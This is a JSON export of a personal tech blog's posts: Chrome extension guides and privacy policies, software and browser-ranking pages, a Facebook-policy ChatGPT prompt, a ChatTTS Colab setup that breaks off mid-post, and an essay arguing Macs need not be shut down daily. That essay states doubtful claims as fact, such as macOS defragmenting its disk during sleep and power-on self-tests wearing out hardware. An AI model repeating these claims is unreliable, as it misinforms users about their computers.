{"themeConfig":{"themeName":"lemon with search","postPageSize":10,"archivesPageSize":50,"siteName":"Raz1ner","siteDescription":"","footerInfo":"Copyright © 2020-2025 Raz1ner - All Rights Reserved.\n\n","showFeatureImage":true,"domain":"https://dev-coco.github.io","postUrlFormat":"SLUG","tagUrlFormat":"SLUG","dateFormat":"YYYY-MM-DD","feedFullText":false,"feedCount":15,"archivesPath":"archives","postPath":"post","tagPath":"tag"},"posts":[{"content":"打造您的正版软件宝库:全新精品正版软件列表网站上线! 在如今的数字化时代,软件已经成为我们生活、学习和办公的必备工具。然而,面对琳琅满目的软件市场,选择一款高质量的正版软件常常让人无从下手。为了解决这个问题,我们推出了全新的网站——精品正版软件列表,一个专注于推荐优质正版软件的平台。 网站链接:https://dev-coco.github.io/Awesome-Software/ 为什么选择精品正版软件列表? 严格筛选,品质保障 精心挑选市面上的优质软件,从社交通讯到办公软件,从效率工具到系统维护,涵盖多种类型,节省您的时间与精力。 正版软件,安全无忧 网站上所有软件均为正版,彻底告别盗版软件的潜在风险,支持开发者的同时,提供更稳定和可靠的使用体验。 精细分类,一目了然 网站将软件按照功能细致分类,无论是寻找一款合适的办公软件,还是特定用途的专业工具,都能在对应类别中快速定位,轻松找到心仪的软件。 直链下载,高效便捷 多数软件提供直链下载功能,无需多次跳转至官网查找下载按钮,点击即可获取软件,节约您的宝贵时间。 特殊标记,一目了然 为便于用户了解软件特性,部分软件附有清晰的开源或付费标识。在下载之前,用户即可全面掌握软件信息,选择更符合需求的工具。 ","tags":[{"name":"Windows","slug":"windows","used":true,"link":"https://dev-coco.github.io/tag/windows/"},{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"精品正版软件列表","feature":"https://dev-coco.github.io/post-images/Awesome-Software.png","link":"https://dev-coco.github.io/post/Awesome-Software/","stats":{"text":"2 min read","time":89000,"words":440,"minutes":2},"date":"2025-01-20 02:41:03","dateFormat":"2025-01-20"},{"content":"加快大文件下载速度。 多线程下载器是一种使用多线程技术,同时从服务器获取文件多个部分的下载工具。不同于传统的单线程下载器按顺序下载文件,多线程下载器会将文件分割成若干部分,并利用多个线程同时下载各个部分。下载完成后,下载器会将这些部分合并成完整的文件。 从 软件列表 下载多线程下载器软件。 点击多线程下载器的时候,会自动从剪切板获取下载链接并且预设,便于直接开始下载。 工作原理 文件分割 下载器首先将目标文件划分为若干个部分,每个部分由一个独立的线程负责下载。 多线程并行下载 每个线程可以同时向服务器发起请求,充分利用带宽资源。这种并行下载方式显著提升了下载速度。 数据合并 下载完成后,多线程下载器会按照正确的顺序将各个部分的数据拼接成完整的文件。 下载速度对比 原始浏览器下载速度 多线程下载器下载速度 相比原始浏览器,多线程下载器比浏览器快了 5 倍左右的下载速度。 要注意的是,实际下载速度会受到网络波动、宽带上限和磁盘读写速度等因素的影响,因此具体情况可能有所不同。测试结果仅供参考。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"多线程下载器","feature":"https://dev-coco.github.io/post-images/Multi-Threaded-Downloader.png","link":"https://dev-coco.github.io/post/Multi-Threaded-Downloader/","stats":{"text":"2 min read","time":81000,"words":405,"minutes":2},"date":"2025-01-19 03:14:42","dateFormat":"2025-01-19"},{"content":"市面上多种浏览器进行性能跑分测试并且整理出排名。 网站链接:https://dev-coco.github.io/Browser-Rank/ 这是一个专门对市面上多种浏览器进行性能测试,并且提供跑分的网站。 数据测试来源于 Speedometer3.0。它能从多方面对浏览器性能进行综合评估,例如:待办事项列表、富文本编辑器、渲染图表,浏览新闻网站等。然后再相同的设备上进行 10 次测试,并取其平均值作为最终的测试分数。分数越高代表浏览器性能越快。 以下截图仅供参考,网站内容会不定期更新,请查看网站以获取最新信息。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"}],"title":"浏览器性能排名","feature":"https://dev-coco.github.io/post-images/Browser-Rank.png","link":"https://dev-coco.github.io/post/Browser-Rank/","stats":{"text":"1 min read","time":39000,"words":189,"minutes":1},"date":"2025-01-08 03:38:49","dateFormat":"2025-01-08"},{"content":"探讨 Mac 设备每天关机的必要性,分析关机与休眠对性能、硬件寿命以及能耗的影响。 先说结论。如果你是经常使用 Mac 的用户,几乎每天都会使用,不推荐每天关机;如果只是偶尔使用,建议用完后关机,并在需要使用时再开机。 为了更深入地理解这一结论,我们先来看一看 Mac 设备的开机和休眠在背后都做了些什么。 macOS 的启动过程 每次开机时,macOS 都会执行 POST(Power-On Self Test,开机自检)测试,为了确保硬件正常工作。当 Mac 设备成功通过自检时,会听到标志性的启动音效。 以下是 POST 的主要步骤: 电源管理 系统通过电源管理单元(PMU)检测电源状态,确保电源供应正常。 初始化 CPU 初始化中央处理器(CPU),确保能够正常运行。 检查内存 系统对内存(RAM)进行基本的检查,确认内存是否可用并且没有故障。这通常包括写入随机数据并读取以验证数据的完整性。 检测硬件组件 系统会检测设备中的各种硬件组件,包括图形处理单元(GPU)、存储设备(SSD)、输入输出端口等,确保它们都能正常工作。 固件验证 系统会验证固件的完整性,确保 Boot ROM 中的代码可以安全执行。 启动选项加载 系统会加载启动选项,用户可以选择从不同的启动盘启动,或进入恢复模式等。 启动操作系统 如果所有开机自检操作都成功,将会启动引导加载程序,进而加载 macOS 操作系统。 macOS 休眠时会做什么 降低功耗 当 macOS 进入休眠状态时,系统会关闭大部分硬件组件的电源,包括显示器和硬盘,以显著降低能耗。尽管如此,某些关键组件仍会保持活跃,以便快速唤醒。 内存保持活跃 在休眠状态下,内存(RAM)中的数据仍然保持活跃。这意味着用户在休眠前打开的应用程序和文件会被保留,用户可以快速恢复到之前的工作状态,而无需重新加载所有内容。 安全休眠 在低电量情况下,系统会将内存内容保存到 SSD 中,以防止数据丢失。这种方式提供了额外的保护,确保即使在电量耗尽的情况下,用户的数据也不会丢失。 网络访问 如果启用了“唤醒以供网络访问”选项,macOS 可以在休眠状态下保持网络连接,允许远程访问和更新。这使得用户可以在设备处于休眠状态时,仍然能够接收邮件或进行其他网络活动。 定期维护任务 在休眠状态下,系统可能会执行一些后台维护任务,例如软件更新和磁盘清理。这些任务通常在设备处于低功耗状态时进行,以确保系统的健康和性能。 缓存清理 在休眠期间,macOS 会清理缓存文件,以释放内存并提高系统性能。这有助于防止系统变得臃肿,确保在下次唤醒时能够快速响应。 磁盘碎片整理 系统会进行磁盘碎片整理,优化存储空间的使用。这一过程有助于提高文件访问速度,确保数据的高效读取和写入。 软件更新 在休眠状态下,macOS 可以下载和安装软件更新。这意味着用户在下次唤醒时,系统已经是最新版本,减少了手动更新的需要。 搜索索引和文件同步 macOS 会在休眠时进行搜索索引更新和文件同步。这确保了 Spotlight 搜索和 iCloud 文件的最新状态,使用户在恢复工作时能够快速找到所需文件。 不推荐每天关机的原因 极致的使用体验 相比关机再开机的等待过程,macOS 的睡眠模式带来了极快的使用体验,轻按键盘或鼠标,解锁屏幕后即可进入工作状态。没有开机时的系统加载和启动音效打扰,更没有启动等待的过程。睡眠模式让电脑随时保持就绪状态,实现“即开即用”,为日常操作带来流畅无缝的使用感受。 优秀的延续性 对于需要多天完成的工作,睡眠模式在延续性上表现更为优异。如果每天关机,第二天重新打开电脑后,不仅需要手动启动所有软件,还可能打断之前的思路;而使用睡眠模式,可以完整保留之前的桌面布局、已启动的软件。一切都保持原样,让你快速恢复工作状态,效率和体验大幅提升。 通过睡眠模式,你可以更高效地管理未完成的任务,避免反复调整工作环境带来的麻烦和不必要的时间浪费。这种流畅、高效的使用方式,使得每天关机显得不再必要。 macOS 稳定性非常好 macOS 是基于 Unix 的操作系统,这意味着它继承了 Unix 系统的许多优良特性,包括内存管理和进程隔离。macOS 的内存管理机制相对成熟,能够有效地处理应用程序崩溃,通常只会关闭崩溃的应用,而不会影响其他正在运行的程序或操作系统本身。这种设计使得用户在使用 macOS 时,遇到应用程序崩溃的情况时,系统仍然能够保持响应。Unix 系统设计的一个核心原则是稳定性和安全性,这使得一个应用程序的崩溃通常不会影响整个操作系统。 相较之下,Windows 系统在早期版本中,尤其是 Windows 95 和 XP 时代,确实存在应用程序崩溃导致整个系统不稳定的情况。虽然 Windows 11 在稳定性和性能方面有了显著改善,但它仍然依赖于注册表和其他系统组件,这些组件的损坏可能会影响整个系统的运行。Windows 10 和 11 引入了一些新的内存管理和安全特性,例如更好的内存隔离和虚拟化技术,但整体架构仍然与 Unix 系统存在根本差异。 Windows 系统使用注册表来管理系统设置和应用程序配置,损坏的注册表项可能导致系统不稳定或应用程序无法正常运行。这种情况在 Unix 系统中较少发生,因为 Unix 系统的配置文件通常是分散的,且不依赖于单一的数据库结构。 所以 macOS 即使不关机也可以长时间稳定运行,不容易出现系统奔溃导致无法正常使用的情况,那么每天开关机的作用就不大了。而且每次开机都要进行一遍开机自检,在这个过程中会对硬件带来额外的压力,减少开关机次数有助于延长设备的寿命。 在 macOS 休眠的时候会定期执行一些维护任务,例如磁盘清理、碎片整理、软件更新等等,但是这些任务在开机正常使用的时候通常不会被执行,因为这些任务会占用 RAM 并且影响正常使用时的性能。如果用完后就将 Mac 设备关机,那就意味着 macOS 没有时间定期执行维护任务,这样会导致长期堵塞。 能耗 关于能耗方面我也进行了粗略测试。在开机过程期间,由于情况有限,无法测试开机过程中的能耗,只能进入系统后测试开机启动项运行的程序的能耗,由于优先级的原因可能会遗漏一小部分。 从测试情况来看,至少有 1.3 万毫瓦以上,如果是在开机自检的过程期间,这个能耗会更高。 在待机的期间,能耗消耗只有十几毫瓦,和开机的能耗相比相差了将近 1000 倍左右。 综合对比下来,待机消耗的电量是非常少的,如果每天都使用 Mac 设备,待机的耗电量会比每天开关机一次还要少一些。 ","tags":[{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"Mac 设备是否需要每天关机?","feature":"https://dev-coco.github.io/post-images/Mac-Device-Shutdown-Everyday.png","link":"https://dev-coco.github.io/post/Mac-Device-Shutdown-Everyday/","stats":{"text":"8 min read","time":451000,"words":2202,"minutes":8},"date":"2024-11-16 00:53:10","dateFormat":"2024-11-16"},{"content":"使用 ChatGPT 检测 Facebook 帖文是否违反平台政策。 许多用户在无意中发布的帖文可能会违反了社群守则,这样就会导致被平台惩罚和减少推送。但许多用户在发帖的时往往并不清楚为何被减少推送,也不明白具体违反了哪条社群守则。为了解决这个问题,可以通过 ChatGPT 等一类的 AI 工具进行检测。 Prompt Based on your understanding of the Facebook Community Standards, determine whether the following violates any of the Community Standards or engagement bait. If so, please tell me the specific reason and which policies was violated, do not narrate or ask questions, just answer me your judgment. think in English respond in Simplified Chinese don't give me other language, double check answer, content: 使用方法 将上面的提示词放入到 ChatGPT 或其它的 AI 工具,然后放入需要检测的内容发送即可。 效果如下 注意:检测的结果仅供参考,具体政策以 Facebook 官方发布的社群守则为准。 ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"},{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"检测 Facebook 帖文是否违反政策","feature":"https://dev-coco.github.io/post-images/Detect-Facebook-Post.png","link":"https://dev-coco.github.io/post/Detect-Facebook-Post/","stats":{"text":"2 min read","time":62000,"words":250,"minutes":2},"date":"2024-10-19 10:03:21","dateFormat":"2024-10-19"},{"content":"在任意页面快速启动侧边栏 AI 网站。 插件下载:Chrome 插件合集 这是一个简洁且高效的 Chrome 插件,专为提升在各类网页上使用 AI 软件的便捷性而设计。通过点击插件图标,可以在任意页面上快速启动侧边栏,直接访问 ChatGPT 等 AI 网站。无论是写作、回答问题、编程协助,还是日常搜索,这款插件无需离开当前页面即可轻松与 AI 互动,极大优化的工作流效率。 使用方法 点击扩展程序图标,会打开侧边栏。 鼠标放在菜单上,会显示出来默认预设的一些 AI 网站,点击后即可在侧边栏打开该网站。也可以在输入框输入其它的网页。 下次打开侧边栏时,插件会自动加载上次使用的链接。 ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"口袋 AI 使用方法","feature":"https://dev-coco.github.io/post-images/Pocket-AI.png","link":"https://dev-coco.github.io/post/Pocket-AI/","stats":{"text":"1 min read","time":47000,"words":230,"minutes":1},"date":"2024-09-26 00:05:20","dateFormat":"2024-09-26"},{"content":"Quickly Launch Sidebar AI Websites on Any Page. Extension download: Chrome Extension Collection This is a simple and efficient Chrome extension designed to enhance the ease of using AI software across various web pages. By clicking the plugin icon, you can quickly launch a sidebar on any page, providing direct access to AI websites such as ChatGPT. Whether it’s for writing, answering questions, coding assistance, or everyday searches, this plugin allows you to seamlessly interact with AI without leaving your current page, greatly optimizing your workflow efficiency. How to Use Click the extension icon to open the sidebar. Hover over the menu to display a list of default preset AI websites. Clicking on one will open the site in the sidebar. You can also type other website URLs into the input field. The next time you open the sidebar, the plugin will automatically load the last-used link. ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"Pocket AI User Guide","feature":"https://dev-coco.github.io/post-images/Pocket-AI-EN.png","link":"https://dev-coco.github.io/post/Pocket-AI-EN/","stats":{"text":"1 min read","time":55000,"words":149,"minutes":1},"date":"2024-09-26 00:04:31","dateFormat":"2024-09-26"},{"content":"Pocket AI Chrome Extension’s privacy policy is detailed here. Data Collection and Usage Our Chrome Extension, "Pocket AI" does not collect, store, or process any personal data from its users. It operates with no user accounts, backend services, or data collection mechanisms. No Tracking We do not track users' activities, do not use analytics, and do not employ cookies or similar technologies within the Chrome Extension. Data Sharing As we do not collect any data, there is nothing to share with third parties. Third-party services "Pocket AI" might include links to external websites or services. We are not liable for the privacy practices or content of these external sites. Please review their privacy policies before engaging with them. Security Our Extension is designed with your privacy in mind, and although it collects no data, we are committed to ensuring the security of our Chrome Extension. ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"Pocket AI Privacy Policy","feature":"https://dev-coco.github.io/post-images/Pocket-AI-Privacy-Policy.png","link":"https://dev-coco.github.io/post/Pocket-AI-Privacy-Policy/","stats":{"text":"1 min read","time":56000,"words":151,"minutes":1},"date":"2024-09-21 01:58:37","dateFormat":"2024-09-21"},{"content":"在网页选择元素并且获取内容。 插件下载:Chrome 插件合集 在任意网页点击插件,然后选择一个 HTML 元素。当鼠标放在 HTML 元素上时,鼠标悬停的区域会显示蓝色的方框。点击想要选中的 HTML 元素后,会在页面上出现一个选项框。在这里选择需要获取元素的属性。 这个功能类似于 document.querySelector 获取 HTML 元素的属性。例如选择文本,对应的就是 outerText 的效果。 插件内已经已经预设了一部分常用的属性,如果需要其他属性可以选择自定义,然后自行设置需要获取的属性。 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"元素选择器 使用方法","feature":"https://dev-coco.github.io/post-images/Element-Selector.png","link":"https://dev-coco.github.io/post/Element-Selector/","stats":{"text":"1 min read","time":37000,"words":180,"minutes":1},"date":"2024-08-21 21:46:39","dateFormat":"2024-08-21"},{"content":"Select and extract content from webpage elements. Extension download: Chrome Extension Collection Click the extension on any webpage and choose an HTML element. When you hover over an HTML element, a blue box will appear around the area you’re pointing at. After selecting the desired HTML element, an options box will appear on the page. From here, you can choose the attributes you want to retrieve. This feature is similar to using document.querySelector to get HTML element attributes. For instance, selecting text will correspond to the outerText property. The extension comes with a preset list of common attributes. If you need additional attributes, you can select the custom option and configure the attributes you want to retrieve. ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"Element Selector User Guide","feature":"https://dev-coco.github.io/post-images/Element-Selector-EN.png","link":"https://dev-coco.github.io/post/Element-Selector-EN/","stats":{"text":"1 min read","time":44000,"words":119,"minutes":1},"date":"2024-08-21 21:46:26","dateFormat":"2024-08-21"},{"content":"Element Selector Chrome Extension’s privacy policy is detailed here. Data Collection and Usage Our Chrome Extension, "Element Selector" does not collect, store, or process any personal data from its users. It operates with no user accounts, backend services, or data collection mechanisms. No Tracking We do not track users' activities, do not use analytics, and do not employ cookies or similar technologies within the Chrome Extension. Data Sharing As we do not collect any data, there is nothing to share with third parties. Security Our Extension is designed with your privacy in mind, and although it collects no data, we are committed to ensuring the security of our Chrome Extension. ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"Element Selector Privacy Policy","feature":"https://dev-coco.github.io/post-images/Element-Selector-Privacy-Policy.png","link":"https://dev-coco.github.io/post/Element-Selector-Privacy-Policy/","stats":{"text":"1 min read","time":42000,"words":113,"minutes":1},"date":"2024-08-21 21:46:14","dateFormat":"2024-08-21"},{"content":"自定义打开新分页的链接。 插件下载:Chrome 插件合集 Chrome 浏览器并不支持设置新分页的链接。使用此插件可以实现使用自定义的链接替换打开的新分页。 使用方法 点击插件,在输入框内输入打开新分页时需要的替换的链接,然后打开开关即可。 同时也允许设置一些特殊链接,例如: 本地文件: file:///Users/Desktop/Raz1ner.png 书签栏: chrome://bookmarks 历史记录: chrome://history 其它插件的页面: chrome-extension://xxxxxxx/html/settings.html ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"自定义新分页链接 使用方法","feature":"https://dev-coco.github.io/post-images/Custom-New-Tab-URL.png","link":"https://dev-coco.github.io/post/Custom-New-Tab-URL/","stats":{"text":"1 min read","time":32000,"words":146,"minutes":1},"date":"2024-08-19 00:07:01","dateFormat":"2024-08-19"},{"content":"Customize the link to open a new tab. Extension download: Chrome Extension Collection Chrome browser does not support setting a custom link for new tabs. This extension allows you to replace the default new tab with a custom link. How to Use Click the plugin, enter the desired link for new tabs in the input field, and then turn on the switch. You can also set some special links, such as: Local files: file:///Users/Desktop/Raz1ner.png Bookmarks: chrome://bookmarks History: chrome://history Pages from other plugins: chrome-extension://xxxxxxx/html/settings.html ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"Custom New Tab URL User Guide","feature":"https://dev-coco.github.io/post-images/Custom-New-Tab-URL-EN.png","link":"https://dev-coco.github.io/post/Custom-New-Tab-URL-EN/","stats":{"text":"1 min read","time":35000,"words":94,"minutes":1},"date":"2024-08-19 00:06:52","dateFormat":"2024-08-19"},{"content":"Custom New Tab URL Chrome Extension’s privacy policy is detailed here. Data Collection and Usage Our Chrome Extension, "Custom New Tab URL" does not collect, store, or process any personal data from its users. It operates with no user accounts, backend services, or data collection mechanisms. No Tracking We do not track users' activities, do not use analytics, and do not employ cookies or similar technologies within the Chrome Extension. Data Sharing As we do not collect any data, there is nothing to share with third parties. Security Our Extension is designed with your privacy in mind, and although it collects no data, we are committed to ensuring the security of our Chrome Extension. ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"Custom New Tab URL Privacy Policy","feature":"https://dev-coco.github.io/post-images/Custom-New-Tab-URL-Privacy-Policy.png","link":"https://dev-coco.github.io/post/Custom-New-Tab-URL-Privacy-Policy/","stats":{"text":"1 min read","time":43000,"words":117,"minutes":1},"date":"2024-08-19 00:06:42","dateFormat":"2024-08-19"},{"content":"Chrome Extension Manager Chrome Extension’s privacy policy is detailed here. Data Collection and Usage Our Chrome Extension, "Chrome Extension Manager" does not collect, store, or process any personal data from its users. It operates with no user accounts, backend services, or data collection mechanisms. No Tracking We do not track users' activities, do not use analytics, and do not employ cookies or similar technologies within the Chrome Extension. Data Sharing As we do not collect any data, there is nothing to share with third parties. Security Our Extension is designed with your privacy in mind, and although it collects no data, we are committed to ensuring the security of our Chrome Extension. ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"Chrome Extension Manager Privacy Policy","feature":"https://dev-coco.github.io/post-images/Chrome-Extension-Manager-Privacy-Policy.png","link":"https://dev-coco.github.io/post/Chrome-Extension-Manager-Privacy-Policy/","stats":{"text":"1 min read","time":43000,"words":115,"minutes":1},"date":"2024-08-15 11:19:54","dateFormat":"2024-08-15"},{"content":"发布彩色背景帖文。 插件下载:Chrome 插件合集 功能 发布彩色背景帖文,可以附带图片。支持发布到小组或者时间线。 使用方法 注意:需要登陆 Facebook 账号后再使用。 在右侧点击「获取小组」可以获取账号上所有的小组列表。 在「帖文内容」输入需要发布的内容。 可选是否要附带图片,非必需。可以选择或者拖入一个图片。 在下方选择一个彩色背景。鼠标放在彩色背景上,可以查看发布后的样式。 在右侧可选多个小组,如果没有选择小组,默认发布到时间线。 全部设置好后点击「发布」。 发布成功后会在按钮下方显示发布后的链接。 发布后的效果如下图。 ","tags":[{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"彩色背景帖子 使用方法","feature":"https://dev-coco.github.io/post-images/Background-Color-Post.png","link":"https://dev-coco.github.io/post/Background-Color-Post/","stats":{"text":"1 min read","time":43000,"words":216,"minutes":1},"date":"2024-08-09 21:09:48","dateFormat":"2024-08-09"},{"content":"Publish a post with a colored background. Extension download: Chrome Extension Collection Features Publish posts with colored backgrounds and attach images if desired. Support for posting to groups or the timeline. How to Use Note: You need to log in to your Facebook account first. Click "Get groups" on the right to view a list of all the groups associated with your account. Enter the content for your post in the "Post content" field. Optionally, attach an image. You can either select or drag and drop an image. Select a colored background from the options below. Hover over the colored backgrounds to preview how the post will look once published. On the right, you can choose multiple groups. If no groups are selected, the post will be published to your timeline by default. Once all settings are configured, click "Publish." After publishing, the link to the post will appear below the button. The published post will look like this: ","tags":[{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"Backrgound Color Post User Guide","feature":"https://dev-coco.github.io/post-images/Background-Color-Post-EN.png","link":"https://dev-coco.github.io/post/Background-Color-Post-EN/","stats":{"text":"2 min read","time":61000,"words":165,"minutes":2},"date":"2024-08-09 21:09:38","dateFormat":"2024-08-09"},{"content":"Background Color Post Chrome Extension’s privacy policy is detailed here. Data Collection and Usage Our Chrome Extension, "Background Color Post" does not collect, store, or process any personal data from its users. It operates with no user accounts, backend services, or data collection mechanisms. No Tracking We do not track users' activities, do not use analytics, and do not employ cookies or similar technologies within the Chrome Extension. Data Sharing As we do not collect any data, there is nothing to share with third parties. Third-party services "Background Color Post" might include links to external websites or services. We are not liable for the privacy practices or content of these external sites. Please review their privacy policies before engaging with them. Security Our Extension is designed with your privacy in mind, and although it collects no data, we are committed to ensuring the security of our Chrome Extension. ","tags":[{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"Background Color Post Privacy Policy","feature":"https://dev-coco.github.io/post-images/Background-Color-Post-Privacy-Policy-EN.png","link":"https://dev-coco.github.io/post/Background-Color-Post-Privacy-Policy-EN/","stats":{"text":"1 min read","time":57000,"words":154,"minutes":1},"date":"2024-08-09 21:09:19","dateFormat":"2024-08-09"},{"content":"提示语侧边栏菜单,可自定义预设提示语。 插件下载:Chrome 插件合集 功能 浮动侧边栏菜单 在右侧加载一个可收缩的侧边栏菜单,方便随时使用。 储存提示语到列表 允许用户将自定义的提示语添加到列表中,方便管理和快速调用。 提示语可以是任何形式的文本,如代码片段、常用的查询问题或系统提示等。 可上下拖动提示语顺序 用户可以通过拖动提示语的条目来调整其在列表中的位置,实现个性化排序。 排序操作直观且灵活,提升用户操作的效率和体验。 修改添加后的提示语 支持对已添加的提示语进行编辑,用户可以随时更新或修改提示语内容。 点击预设提示语 点击预设的提示语来快速插入到输入框中,方便使用。 支持的平台 ChatGPT Claude DuckDuckGo AI Chat ‎Gemini Perplexity Poe 使用方法 下面以 ChatGPT 为例,其它平台操作方法一样。 打开网页后会在右侧加载菜单按钮,点击按钮即可打开菜单。注意:第一次安装列表里面没有任何内容,需要手动添加。 点击右下角的「添加」按钮,屏幕中间会显示提示框。输入标题和要预设的提示语内容。输入完成后点击确认。 点击「编辑」按钮,可以删除不需要的提示语。 设置好后,点击右侧的列表中任意一个提示语,可以预设到下面的输入框,不用再手动输入提示语,非常方便。 在列表中支持拖动排序,可以按照个性化调整顺序。 ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"Prompt Menu 使用方法","feature":"https://dev-coco.github.io/post-images/Prompt-Menu.png","link":"https://dev-coco.github.io/post/Prompt-Menu/","stats":{"text":"2 min read","time":93000,"words":460,"minutes":2},"date":"2024-08-08 07:08:49","dateFormat":"2024-08-08"},{"content":"Prompt sidebar menu. Customizable preset prompts. Extension download: Chrome Extension Collection Features Floating Sidebar Menu A collapsible sidebar menu appears on the right side for easy access anytime. Save Prompts to a List Allows users to add custom prompts to a list for easier management and quick retrieval. Prompts can be any form of text, such as code snippets, frequently used queries, or system messages. Reorder Prompts by Dragging Users can drag and drop prompt items to adjust their order in the list, enabling personalized sorting. The sorting process is intuitive and flexible, enhancing user efficiency and experience. Edit Added Prompts Supports editing of added prompts, allowing users to update or modify prompt content as needed. Click Preset Prompts Click on preset prompts to quickly insert them into the input field for convenience. Supported Platforms ChatGPT Claude DuckDuckGo AI Chat Gemini Perplexity Poe How to Use Using ChatGPT as an example, other platforms have similar procedures. After opening the webpage, a menu button will appear on the right side. Click the button to open the menu. Note: On the first installation, the list will be empty and needs to be manually populated. Click the "Add" button at the bottom right, and a prompt box will appear in the center of the screen. Enter the title and the preset prompt content. After entering, click confirm. Click the "Edit" button to remove unwanted prompts. Once set up, click any prompt in the list on the right to preset it in the input field below, eliminating the need for manual input. The list supports drag-and-drop sorting, allowing you to adjust the order to your preference. ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"Prompt Menu User Guide","feature":"https://dev-coco.github.io/post-images/Prompt-Menu-EN.png","link":"https://dev-coco.github.io/post/Prompt-Menu-EN/","stats":{"text":"2 min read","time":104000,"words":278,"minutes":2},"date":"2024-08-08 07:08:22","dateFormat":"2024-08-08"},{"content":"Prompt Menu Chrome Extension’s privacy policy is detailed here. Data Collection and Usage Our Chrome Extension, "Prompt Menu" does not collect, store, or process any personal data from its users. It operates with no user accounts, backend services, or data collection mechanisms. No Tracking We do not track users' activities, do not use analytics, and do not employ cookies or similar technologies within the Chrome Extension. Data Sharing As we do not collect any data, there is nothing to share with third parties. Security Our Extension is designed with your privacy in mind, and although it collects no data, we are committed to ensuring the security of our Chrome Extension. ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"Prompt Menu Privacy Policy","feature":"https://dev-coco.github.io/post-images/Prompt-Menu-Privacy-Policy-EN.png","link":"https://dev-coco.github.io/post/Prompt-Menu-Privacy-Policy-EN/","stats":{"text":"1 min read","time":42000,"words":113,"minutes":1},"date":"2024-08-08 06:45:53","dateFormat":"2024-08-08"},{"content":"压缩率高达 80% - 90%。 工具链接: 视频压缩工具 这是一个纯前端实现的视频压缩功能。所有数据都在本地执行,不会上传到服务器,安全可靠。 使用方法 拖入一个视频,或者选择一个文件,然后点击「压缩视频」按钮。 耐心等待压缩完成,压缩速度取决于设备的性能。 常规压缩后,原始文件 7.97 MB,压缩后 1.29 MB,压缩率 83.76%。 开启极限压缩后,可以获得更高的压缩率。原始文件 7.97 MB 压缩后 553.52 KB,压缩率 93.22% 经过测试,一般的视频文件可以达到 80% - 90% 左右的压缩率。不同格式的视频效果可能会有不同。 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"视频压缩工具","feature":"https://dev-coco.github.io/post-images/Video-Compression.png","link":"https://dev-coco.github.io/post/Video-Compression/","stats":{"text":"1 min read","time":43000,"words":199,"minutes":1},"date":"2024-08-03 02:12:56","dateFormat":"2024-08-03"},{"content":"收集了一些常用网址做成了一个带有分类的导航页。 导航页链接:https://dev-coco.github.io/Navigation/ 在页面的中间有一个聚合搜索器。选择需要搜索的平台,输入关键词,点击右侧的搜索图标即可打开搜索页面。 网站侧边栏按照网站类型创建了菜单,可以根据类型找到相应的网站。 请注意,部分网址背景标记为粉色。这些可能是大陆站点或由大陆开发的站点。如果介意,请勿使用。 如果这个导航页对你有所帮助,可以快捷找到需要的网站,不妨将这个页面加入书签,更方便的打开导航页面。 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"导航页介绍","feature":"https://dev-coco.github.io/post-images/Navigation-Page.png","link":"https://dev-coco.github.io/post/Navigation-Page/","stats":{"text":"1 min read","time":39000,"words":192,"minutes":1},"date":"2024-07-10 09:14:33","dateFormat":"2024-07-10"},{"content":"无需购买服务器即可免费在线托管 ChatTTS。 ChatTTS 是专门为对话场景设计的文本转语音模型。 Colab 是一项托管的 Jupyter Notebook 服务。 部署项目 首先,需要有一个 Google 账号,然后新建一个 Colab 项目。 然后把下面的代码粘贴到项目中,点击「运行」按钮。 !git clone -q https://github.com/6drf21e/ChatTTS_colab %cd ChatTTS_colab !git clone -q https://github.com/2noise/ChatTTS %cd ChatTTS !git checkout -q f4c8329 %cd .. !mv ChatTTS abc !mv abc/ChatTTS ./ChatTTS !pip install -q omegaconf vocos vector_quantize_pytorch gradio cn2an pypinyin openai jieba !python webui_mix.py --share 需要一会时间等待部署完成。当显示出下图内容的时候就代表部署完成了,打开 public URL 